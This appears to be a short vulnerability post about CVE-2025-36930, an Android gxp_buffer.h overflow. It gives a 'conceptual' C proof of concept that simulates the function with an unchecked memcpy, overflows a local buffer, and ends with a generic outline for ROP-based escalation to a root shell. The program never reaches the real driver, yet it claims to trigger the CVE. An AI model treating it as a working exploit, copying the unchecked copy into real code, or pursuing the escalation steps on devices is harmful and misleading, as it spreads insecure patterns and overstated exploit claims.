CVE-2025-36930: Android gxp_buffer.h GetHostAddress缓冲区溢出本地提权漏洞

// CVE-2025-36930 PoC - Buffer overflow in GetHostAddress of gxp_buffer.h // This is a conceptual PoC demonstrating the vulnerability pattern #include <stdio.h> #include <string.h> #include <stdlib.h> // Simulated vulnerable function (original code in gxp_buffer.h) void GetHostAddress(char* buffer, size_t buffer_size, const char* input) { // VULNERABLE: Missing bounds check before writing to buffer size_t input_len = strlen(input); // This write can overflow if input_len > buffer_size // The original code lacks proper validation: // if (input_len >= buffer_size) return ERROR; memcpy(buffer, input, input_len); // Out of bounds write occurs here buffer[input_len] = '\0'; } int main() { char target_buffer[64]; char malicious_input[256]; // Prepare malicious input larger than target buffer memset(malicious_input, 'A', sizeof(malicious_input) - 1); malicious_input[sizeof(malicious_input) - 1] = '\0'; printf("Triggering CVE-2025-36930 - Buffer overflow in GetHostAddress\n"); printf("Buffer size: %zu bytes, Input size: %zu bytes\n", sizeof(target_buffer), strlen(malicious_input)); // Trigger the vulnerable function GetHostAddress(target_buffer, sizeof(target_buffer), malicious_input); // If we reach here, the overflow may have corrupted memory printf("Overflow triggered - check for privilege escalation\n"); return 0; } /* * Notes for exploitation: * 1. Attacker needs local access to the Android device * 2. Target the gxp_buffer.h GetHostAddress function * 3. Overflow should overwrite adjacent memory structures * 4. Use techniques like ROP to achieve code execution * 5. Escalate from low-privilege app to root shell */